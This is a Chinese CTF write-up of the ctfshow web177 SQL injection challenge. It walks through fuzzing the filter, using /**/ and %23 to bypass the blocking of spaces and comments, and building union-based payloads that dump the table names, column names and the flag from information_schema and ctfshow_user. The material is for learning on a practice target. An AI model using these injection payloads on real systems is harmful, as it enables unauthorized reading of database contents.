ctfshow-web177

(本文用于记录一些个人在做题过程中遇到的问题,因此排版看着不是正常的wp该有的步骤,若需直接的wp可移步其他师傅博客)

解题过程:

打开靶场,刚开始的时候我是直接用下面这个来输入:

sql 复制代码
1' or '1 --+

后面发现没有回显,而且题目里也说了加了过滤,因此可以不断尝试一下找出被过滤的字符 【fuzz一波】,后面发现过滤的有:空格 --+ #

空格可以用**/**/来绕过,而后面注释的话#可以用URL编码即%23**来绕过过滤。

然后是正常的sql注入步骤,先要找列数,我首先用的是:

sql 复制代码
1'/**/order/**/by/**/3'

(这里其实应该用#来注释掉的,但是因为后面又涉及到了单引号的问题,这里就先提出来)

然后我发现这个是没有任何回显的,再看了一遍上面给出来的查询语句:

sql 复制代码
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

那么如果我们输入的是这样的话那我们拼接后的SQL语句是这样子的:

sql 复制代码
select id,username,password
from ctfshow_user
where username != 'flag'
  and id = '1' order by 3'
limit 1;

这里就涉及到了MYSQL的语法问题:数字后面是不能跟单引号的 ,如果跟了直接就是语法错误。

因此这里只能用%23绕过进行注释,即:

sql 复制代码
1'/**/order/**/by/**/3/**/%23

跟之前的题目都一样,列数都是3,然后后面就是爆数据库了,因为好久没做sql了,然后最开始用了一个有问题的payload:

sql 复制代码
1'/**/union/**/select/***/1,2,database()'

这里出现的问题不在于有没有回显,而是查询结果是这样的:

这里涉及到的问题是我们最前面用的数字为1,而1在表中是存在的,返回的刚好也是admin admin,而在查询语句中又使用了limit, 代表的是只返回一行,那么我们后面的联合查询模块在这里就不会显示了。这也是为什么很多在用联合查询时候最先输入的是-1,目的就是创造一个不存在于数据库中的id【即一个干净的环境】,这样后面执行的只有联合查询那块,所以我们的payload为:

sql 复制代码
-1'/**/union/**/select/***/1,2,database()'

这样我们就能找到数据库了:

但是这里最后面用的是单引号,这里又可以了,之前又不行,这里首先就是单引号前面的不是数字,首先不会是语法错误,然后加的单引号也有用处:如果我们直接不加会这样:

sql 复制代码
... and id = '-1' union select 1,2,database()' limit 1;
                                               ↑
                                            ❌ 这里

这样就会单独多出来一个单引号【可以参考之前的sql查询语句】,而在这里这个单引号没有任何意义,无法匹配字符串,这样就是没有回显,那我们加了之后是这样的:

sql 复制代码
... and id = '-1' union select 1,2,database()'' limit 1;

在SQL中**''**代表的是合法的空字符串,SQL语句完整,不是语法错误,这样就有正常的回显了。


其实按照正常的步骤来先找完字段数后不是直接爆数据库,而是先找回显位,构造的payload应该是这样的:

sql 复制代码
-1'/**/union/**/select/**/111,222,333'

(这里为了方便就不用#来注释了)

UNION 注入本质是两件事:控制返回的"行" 控制返回行里的"列"

如果我们不知道哪一行在被显示和哪一列在被显示那做的每一步,其实都是在 盲猜。因此这是SQL注入的重要步骤之一【果然平常还是要多回顾】

然后后面就是SQL注入的套路流程了先爆表,我的建议还是手打【毕竟打多了才能熟悉】

sql 复制代码
-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'/**/%23

需要注意的是这里就不能偷懒了,一定要加上注释符。

然后是爆字段:

sql 复制代码
-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctfshow_web'/**/and/**/table_name='ctfshow_user'/**/%23

最后查找flag:

sql 复制代码
-1'/**/union/**/select/**/1,2,group_concat(password)/**/from/**/ctfshow_user/**/%23

结语:

这道题本身并不难,真正卡住人的地方也不在 payload 的复杂程度,而在 对 SQL 执行过程的理解是否清晰

一开始很多"看起来不对劲"的现象,其实都不是注入失败,而是 语句确实执行了,只是结果被 LIMIT、原查询或语法细节掩盖了

在这次过程中比较大的收获有两个:

一是逐渐意识到,SQL 注入不是"试哪个 payload 能回显",而是要搞清楚 当前返回的到底是哪一条查询的结果

二是一些之前容易忽略的细节,比如 引号是否真正闭合、数字/函数后是否允许跟单引号、以及 UNION 行是否真的接管了输出,这些往往才是导致"看起来不通"的根本原因。

回过头看,其实很多步骤(如先用 -1 清空环境、先确认回显位)并不是套路,而是为了避免自己被假回显误导。

把这些逻辑想明白之后,再做类似的 SQL 注入题,思路会清晰很多,也更容易判断问题到底出在语法、过滤,还是执行顺序上。

相关推荐
曲幽2 天前
你的REST接口还在“过度投喂”数据吗?——FastAPI + GraphQL实战避坑指南
python·fastapi·web·graphql·route·cors·rest·strawberry
唐青枫3 天前
MySQL JSON 实战详解:从存储、查询、更新到 JSON_TABLE 与索引
sql·mysql
带刺的坐椅4 天前
Spring Boot → Solon 注解迁移实战指南:一张对照表说清楚
java·springboot·web·solon
掉头发的王富贵5 天前
【StarRocks】极限十分钟入门StarRocks
数据库·sql·mysql
曲幽8 天前
刚部署的 LibreTranslate 频频翻车?我掏出了 20 年前的 StarDict 词典,用 FastAPI 搭了个本地词典翻译 API
python·fastapi·web·translate·goldendict·libretranslate·stardict·pystardict
曲幽9 天前
别再用网页翻译看源码了!你的私人翻译神器LibreTranslate,部署避坑指南来了
python·docker·web·pot·translate·libretranslate·arogstranslate
zzzzzz31010 天前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
云技纵横12 天前
唯一索引 INSERT 死锁实战:5 秒复现交叉插入的 S 锁循环等待
sql·mysql
BD_Marathon14 天前
SQL学习指南——视图
数据库·sql
2601_9620725514 天前
李梦娇常识4600问|题库|打印版
sql·华为od·华为·c#·华为云·.net·harmonyos